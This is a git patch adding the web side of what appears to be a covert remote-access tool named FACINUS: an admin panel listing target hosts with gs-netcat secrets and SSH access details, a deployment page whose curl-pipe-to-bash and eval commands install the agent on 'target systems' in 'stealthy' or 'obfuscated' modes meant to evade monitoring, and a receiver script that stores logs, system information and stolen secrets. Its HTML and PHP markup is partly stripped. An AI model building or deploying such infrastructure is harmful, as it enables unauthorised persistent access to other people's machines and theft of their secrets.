From 143851e3d750d0c8f06e0231fb421d5f1d795853 Mon Sep 17 00:00:00 2001 From: Amoelle Date: Sat, 5 Apr 2025 00:14:27 +0300 Subject: [PATCH] update web --- admin.php | 275 +++++++++++++++++++++++++++++++++++++++++++++++ index.html | 105 ++++++++++++++++++ log_receiver.php | 88 +++++++++++++++ 3 files changed, 468 insertions(+) create mode 100644 admin.php create mode 100644 index.html create mode 100644 log_receiver.php diff --git a/admin.php b/admin.php new file mode 100644 index 0000000..80a33b1 --- /dev/null +++ b/admin.php @@ -0,0 +1,275 @@ + + + + + + + FACINUS - Admin Panel + + + +
+
+

FACINUS Admin Panel

+ + Logout + +
+
+ +
+ + + + + + +
+ +
+

Host:

+ + + + +

Connection Information

+ +

No connection information available.

+ + $value): ?> +
+
:
+ +

Secret:

+

Connect using:

gs-netcat -s

+ + +

SSH Port:

+

Connect using:

ssh user@ -p

+ +

SSH Public Key:

+
+ + +

Interface:

+

MAC Address:

+

Wake using:

wakeonlan

+ +
+ +
+ + + +

System Information

+ +
+ $value): ?> + + : +
    + +
  • + $v) { + echo htmlspecialchars($k) . ": " . htmlspecialchars($v) . " "; + } + } else { + echo htmlspecialchars($item); + } + ?> +
  • + +
+ + :
+ + +
+ +

No system information available.

+ + +

Available Logs

+ +

No logs available.

+ +
    + +
  • + +
+ + +

Log:

+
+ + + +
+ +
+

Welcome to FACINUS Admin Panel

+

Select a host from the sidebar to view logs and connection information.

+
+ +
+ +
+ + diff --git a/index.html b/index.html new file mode 100644 index 0000000..0fd5d3b --- /dev/null +++ b/index.html @@ -0,0 +1,105 @@ + + + + + + FACINUS Deployment + + + +
+
+

FACINUS Deployment

+
+
+ +
+
+

Quick Setup

+

Copy and paste this command into a terminal on the target system:

+ +
+ eval "$(curl -fsSL http://SERVER_IP/deployment/y)" + +
+ +

Note: This will install with default settings and requires root access.

+
+ +
+

Installation Options

+ +
+
+
Minimal Installation (No Root Required)
+

For limited access without requiring root privileges:

+
+ curl -fsSL http://SERVER_IP/deployment/minimal | bash + +
+
+ +
+
Full Installation
+

Complete installation with all features:

+
+ curl -fsSL http://SERVER_IP/deployment/full | sudo bash + +
+
+ +
+
Quiet Mode
+

Minimal output for stealthy installation:

+
+ curl -fsSL http://SERVER_IP/deployment/quiet | sudo bash + +
+
+ +
+
Obfuscated Installation
+

For environments with stricter monitoring:

+
+ eval "$(curl -fsSL http://SERVER_IP/deployment/x)" + +
+
+
+
+ +
+

Admin Access

+

Access the admin panel for logs and client information:

+

Admin Panel

+
+
+ + + + diff --git a/log_receiver.php b/log_receiver.php new file mode 100644 index 0000000..4baac23 --- /dev/null +++ b/log_receiver.php @@ -0,0 +1,88 @@ + 'success', 'message' => 'Log received']); + } else { + http_response_code(500); + echo json_encode(['status' => 'error', 'message' => 'Failed to save log file']); + } +} else { + // Handle case where no file was uploaded but maybe system info or secrets were sent + if (!empty($system_info)) { + $info_file = $host_logs_dir . "/system_info.json"; + file_put_contents($info_file, $system_info); + } + + if (!empty($secret_type) && !empty($secret_value)) { + $secret_file = $host_secrets_dir . "/" . sanitize_filename($secret_type) . ".txt"; + file_put_contents($secret_file, $secret_value); + + // Log this secret submission as well + $log_entry = date('Y-m-d H:i:s') . " - New {$secret_type} received\n"; + file_put_contents($host_logs_dir . "/secrets_log.txt", $log_entry, FILE_APPEND); + } + + // Response + if (!empty($system_info) || (!empty($secret_type) && !empty($secret_value))) { + http_response_code(200); + echo json_encode(['status' => 'success', 'message' => 'Data received']); + } else { + http_response_code(400); + echo json_encode(['status' => 'error', 'message' => 'No data received']); + } +} + +// Helper function to sanitize filenames +function sanitize_filename($filename) { + // Remove any character that isn't a letter, number, dot, hyphen or underscore + return preg_replace('/[^a-zA-Z0-9._-]/', '_', $filename); +} +?>